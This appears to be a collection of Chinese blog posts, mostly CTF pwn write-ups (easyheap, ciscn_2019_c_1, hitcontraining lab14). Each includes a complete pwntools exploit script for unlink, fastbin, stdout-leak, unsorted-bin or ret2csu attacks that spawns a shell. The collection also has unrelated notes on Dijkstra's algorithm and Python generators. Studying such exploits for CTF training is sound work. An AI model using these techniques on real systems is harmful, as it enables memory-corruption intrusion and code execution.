直接用shellcode解的方法比较容易,但是另一种攻击stdout泄露地址的方法更为巧妙

0x00 预期解,使用shellcode

思路:

  • 拿到mmap的地址,以及程序基地址
  • 构造unlink拿到bss段上的控制权
  • 往mmap段(rwx权限)写入shellcode
  • 在bss上构造fake chunk后free掉,拿到unsorted_bin_arena改写为malloc_hook
  • 写malloc_hook为mmap的地址

踩坑:

  • 第0个堆块大小没分配够导致后面写的能力不够,小问题
  • 第1的堆块大小没弄对,因为要保证通过检测的情况下,利用off_by_null修改第一个字节,第1个堆块只能申请为0xf8或者0xf0(p->size为0×101,offbynull后为0×100)
  • 最后free fake_chunk的时候报错,发现因为我只在fake_chunk后面构造了一个0×21的chunk,导致free后的chunk与该chunk发生合并,检测出错。于是再增加一个0×21的chunk阻止合并即可。

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

def alloc(size:int):
    p.recvuntil(">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(">> ")
    p.sendline(b"3")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())
    p.recvuntil("Content: ")
    p.sendline(content)

def exp():
    p.recvuntil(b"Mmap: ")
    # leak addr
    mmap_addr = int(p.recvuntil('\n',drop=True),16)
    print("mmap_addr:",hex(mmap_addr))
    alloc(0xf8) #idx0
    p.recvuntil(b"chunk at [0] Pointer Address ")
    p_base = int(p.recvuntil('\n',drop=True),16) - 0x202068
    print("p_base:",hex(p_base))
    
    # unlink
    alloc(0xf8) #idx1 
    alloc(0x20) #idx2
    target = p_base + 0x202068
    fd = target - 0x18
    bk = target - 0x10
    payload1 = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0) + b"a"*0xc0 + p64(0xf0)
    fill(0,payload1)
    #gdb.attach(p)
    delete(1)
    #gdb.attach(p)
    
    # write shellcode to mmap_addr
    payload2 = p64(0)*2 + p64(0xf8) + p64(p_base + 0x202060 + 0x18) + p64(0x140)
    payload2 += p64(mmap_addr)
    fill(0,payload2)
    fill(1,asm(shellcraft.sh())) #
    
    # get malloc_hook_addr
    payload3 = p64(p_base + 0x202060 + 0x30) + p64(0x20) + p64(0x91) + b"a"*0x88
    payload3 += p64(0x21) + b"a"*0x18 + p64(0x21) # be careful
    fill(0,payload3)
    #gdb.attach(p)
    delete(1) # free fake_chunk
    fill(0,p64(0)*3 + p64(0x20) + b"\x10")
    fill(3,p64(mmap_addr))
    alloc(0x20)
    
    # get_shell
    p.interactive()

if __name__ == "__main__":
    exp()

0x01 攻击stdout的方法

思路

  • 构造overlapping
  • fastbin attack拿到stdout写,获得libc_base
  • fastbin attack攻击malloc hook

细节标注在exp的注释中

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"

def alloc(size:int):
    p.recvuntil(b">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(b">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(b">> ")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content: ")
    p.sendline(content)

#IO_FILE
def exp():
    #构造overlapping
    alloc(0x88) #idx0
    alloc(0x68) #idx1
    alloc(0xf8) #idx2
    alloc(0x10) #idx3 
    delete(0)
    payload1 = b"a"*0x60 + p64(0x100)
    fill(1,payload1)
    delete(2) # unlink&overlapping
    delete(1)
    #gdb.attach(p)
    
    #让中间的fast chunk出现unsorted arena的地址,便于部分写后跳转到stdout附近的fakechunk
    alloc(0x88) #idx0
    delete(0)
    
    #攻击stdout
    alloc(0x100) #idx0 用于控制中间的fastchunk
    payload2 = b"a"*0x80 + p64(0x90) + p64(0x71) + b"\xdd\x25"  #fakechunk offset
    fill(0,payload2)
    alloc(0x68) #idx1
    alloc(0x68) #idx2 stdout fakechunk
    #payload3最后的\x00是覆盖了char* _IO_write_base的低位,控制输出的起始位置
    payload3 = b"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00"  
    fill(2,payload3)
    
    #获取输出并计算libc_base和一些必要地址
    base_offset = 0x3C56A4
    malloc_hook_fakechunk_offset = 0x3C4AED
    realloc_offset = 0x846c0
    one_gadget_offset = 0xf1147
    p.recv(0x48)
    libc_base = u64(p.recv(8)) - base_offset
    malloc_hook_fakechunk = libc_base + malloc_hook_fakechunk_offset
    realloc = libc_base + realloc_offset
    one_gadget = libc_base + one_gadget_offset
    print("libc base:",hex(libc_base))
    print("malloc_hook_fakechunk:",hex(malloc_hook_fakechunk))
    print("realloc:",hex(realloc))
    print("one_gadget:",hex(one_gadget))
    
    #利用fastbin attack分配fake chunk到malloc hook附近
    delete(1) #修复fastbin,否则无法进行fastbin attack

    payload4 = b"a"*0x80 + p64(0x90) + p64(0x71) + p64(malloc_hook_fakechunk) #fakechunk addr
    fill(0,payload4)
    alloc(0x68) #idx1
    alloc(0x68) #idx4 malloc_hook_fakechunk
    
    #malloc_hook to one_gadget
    #直接malloc_hook->gadget无法getshell,尝试先跳到realloc调整栈
    payload5 = b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc)
    fill(4,payload5)
    alloc(0x10)

    #跑几次脚本看运气弹shell
    p.interactive()
    

if __name__ == "__main__":
    exp()

离散课上图论的时候讲了理论知识,但是还没实践过,于是拿python写了一下,顺便做个笔记防止忘记。

python自带的数据结构比较丰富,写起来的确顺滑很多,太香了md

mymap = {
    1:{1:0,3:10,5:30,6:100},
    2:{2:0,3:5},
    3:{3:0,4:50},
    4:{4:0,6:10},
    5:{4:20,5:0,6:60},
    6:{6:0}
}
max_len = 1000000

T = set() #完成最短路搜索的点集
dis = {} #起始点到其它点的距离,初始化无穷
for i in mymap.keys(): #把max_len视作无穷大
    dis[i] = max_len

start = int(input("strat:"))
end = int(input("end:"))
dis[start] = 0 #初始化源点

def get_min_key(dis:dict): #检索出T集合外的最短路
    _min_k = 0
    _min_v = max_len
    for i in dis.keys():
        if dis[i]<=_min_v and i not in T:
            _min_k = i
            _min_v = dis[i]
    return _min_k

def dijkstra(end):
    while len(T)<len(mymap): #当所有点的最短路找到后结束循环
        _min_k = get_min_key(dis)
        T.add(_min_k) #取出T集合外dis的最小值做最短路
        '''到下一个点的最短路就是一条最短路,因为如果有两条路的权加起来更短,则第一条路就要是最短的'''
        for i in mymap[_min_k].keys(): #遍历该点所有相邻点找更短路
            if dis[_min_k] + mymap[_min_k][i] < dis[i] and i not in T: #有更短路则更新当前dis
                dis[i] = dis[_min_k] + mymap[_min_k][i]
    print(dis[end]) if dis[end]!=max_len else print("+∞")

dijkstra(end)

本质上是个很简单的pwn,但是开头对payload的异或运算破坏了payload结构,于是一直想着怎么构造payload,忽略了一个绕过技巧。

0x00

题目本身不复杂,可以操作的就是一个加密功能,gets读取输入的内容并做异或加密后输出。存在溢出,但是payload结构会被破坏。

关键代码:

int encrypt()
{
  size_t index; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    index = (unsigned int)x;    // 只要在payload放置一个\x00就可以绕过了(strlen和strcmp的通病)
    if ( index >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

可以发现,gets读取输入内容进入while循环之后是由strlen检查长度。经过试验发现gets在回车处结束而\x00可以被正常读入,但是strlen是从字符串开头检测到第一个\x00截断,所以只要在payload的开头置0让strlen判断错误就可以避免对payload的破坏。

往下就是简单的ret2csu+one_gadget,值得注意的是ubuntu18的平台栈老是存在玄学栈对齐问题,要注意多试试用ret gadget 去对齐栈使得程序正常运行。

0x01 完整exp

from pwn import *

#p = process("ciscn_2019_c_1")
p = remote("node3.buuoj.cn",28487)
elf = ELF("ciscn_2019_c_1")
#libc = ELF("libc.so.6")
libc = ELF("libc2.27.so")

context.log_level = "debug"

main = 0x400B28

gadget_1 = 0x400C7A
gadget_2 = 0x400C60

puts_got=elf.got[b"puts"]
onegadget_offset = 0x10a38c
ret = 0x4006b9

offset = 80+8
payload1 = b"a"*(offset-1) + p64(gadget_1) + p64(0) + p64(1) + p64(puts_got) + p64(0) + p64(0) + p64(puts_got)
payload1+= p64(gadget_2) + b"a"*56 + p64(ret)+ p64(ret)+p64(main)
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil(b"Input your Plaintext to be encrypted\n")
p.sendline(b"\x00"+payload1)

p.recv(12)
puts = u64(p.recv(6).ljust(8,b"\x00"))
onegadget = onegadget_offset - libc.symbols[b"puts"] + puts
print("puts:",hex(puts))
print("onegadget:",hex(onegadget))

payload2 = b"a"*(offset-1)  + p64(ret)+ p64(ret)+ p64(ret)+p64(onegadget)
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil(b"Input your Plaintext to be encrypted\n")
p.sendline(b"\x00"+payload2)

p.interactive()

0x00 原理

Unsorted_bin_attack 是一种比较基础的堆利用手法,常用于可以通过溢出,uaf或其它一些手法控制Unsorted_bin中末尾块(unsorted_arena->bk)的bk指针域的情形。

unsorted_bin是双链表结构,arena中fd指向链表首,bk指向链表尾。并且其中的chunk遵循头部插入尾部取出的规则。值得一提的是,首chunk的bk和尾chunk的fd都指向arena。

利用点在于尾部取出的过程,先来看glibc中相关的源码:

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin.  This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* 显然,bck被修改,并不符合这里的要求*/
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd                 = unsorted_chunks(av);

可以发现,取出尾chunk时会将arena中的bk指向尾chunk的fd,也就是上一个chunk的位置,同时会将上一个chunk的fd改写为arena的地址。这意味着,如果在取出尾部chunk前,我们如果将尾部chunk的bk修改为tartget_addr-0x10(fd被改掉不会直接报错,但是可能会破坏链表),那么在取出后,target的值就会被覆盖为arena的地址。

上一个拙劣的图:

看似被覆盖的值不受控制,但是可以达到很对目的,比如:

  • 修改某些判断条件中的常数
  • 修改循环的计数变量
  • 修改glibc中max_fastbin_size的大小,使得可以创建更大的fastbin,为下一步fastbin attack做准备
  • others...

0x01 举例:hitcontraining_lab14

题目内容就不放了,可以自己找。主要还是分配,编辑,释放三大功能,其中分配和编辑的大小都是自定义的,没有严格检查,所以存在堆溢出。利用溢出直接修改unsorted_chunk的bk域便可以实现unsorted_bin_attack。

exp:

from pwn import *

p = process("./magicheap")
elf = ELF("./magicheap")
libc = ELF("./libc.so.6")

magic_addr = 0x6020C0

context.log_level = "debug"

def create(size:int,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())  
    p.recvuntil(b"Content of heap:")
    p.send(content)
    
def edit(index:int,size:int,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content of heap : ")
    p.send(content)
    
def delete(index:int):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    
def exp():
    create(0x10,b"aaaa") #idx0
    create(0x80,b"aaaa") #idx1
    create(0x10,b"aaaa") #idx2
    delete(1)
    #gdb.attach(p)
    edit(0,0x30,b"a"*0x10+p64(0)+p64(0x91)+b"a"*8+p64(magic_addr-0x10))
    gdb.attach(p)
    create(0x80,b"bbbb") #idx1
    p.recvuntil(b"Your choice :")
    p.sendline(b"4869")
    p.recvall()
    pass
    
if __name__=="__main__":
    exp()

生成器是进入python更高层次一个很重要的概念,这里用一个小例子简单记录一下

0x00 什么是生成器

借用一个生成斐波那契数列的python代码进行解释,这是一般的写法:

def fab(max): 
    n, a, b = 0, 0, 1 
    L = [] 
    while n < max: 
        L.append(b) 
        a, b = b, a + b 
        n = n + 1 
    return L
 
for n in fab(5): 
    print n

这个写法定义了一个函数,把传入的参数作为斐波那契数列的长度,将整个数列运算完成之后,返回一个列表。这样做虽然没错,但是我们可以发现,随着传入的参数变大,数列占用内存的体积也将慢慢变大。

于是为了提高效率,出现了这么一种思想,既然数列是有规律的,那么可不可以在需要下一个值的时候再进行运算,在不需要的时候就停止计算,以此可以保证内存占用始终为常数。

这就涉及到了python中 "协程" 的概念。总所周知,在一个线程中子程序的调用建立在栈的基础上,携程简而言之就是可以在同一个线程中,在一个子程序未执行完毕的情况下去执行另一个子函数。这种执行方式不需要复杂的锁,所以可以提高多线程的效率。

回到正题,python提供了一种叫生成器的东西,只要在定义函数时使用yield “替代” (并不是简单的替代)return 即可获得一个生成器。

0x01 生成器函数的工作原理

def func(a):
    ......
    yield x
    ......

当调用这个函数的时候会创建一个generator对象,这个对象具有next()方法。每执行一次next()方法,子程序会把语句执行到yield的位置,返回一个值,然后被挂起,转而继续执行原来的子程序。而当再次调用next()方法时会接着yield往下执行,直到抛出 StopIteration,也就是终止迭代。

0x02 示例

同样还是生成斐波那契数列,用生成器的方法:

from inspect import isgeneratorfunction

def func(max:int=9):
    n, a, b = 0, 0, 1
    while n < max:
        yield b
        a, b = b, a+b
        n+=1

print(isgeneratorfunction(func))

a = func(10)
print(type(a))
for i in a:
    print(i)

注意isgeneratorfunction 用于检测一个函数是不是生成器函数

这里使用a=func是实例化的出了一个generator对象,实际上每次实例化得到的对象都是不一样的,它们互不影响,也就是面向对象编程的特点。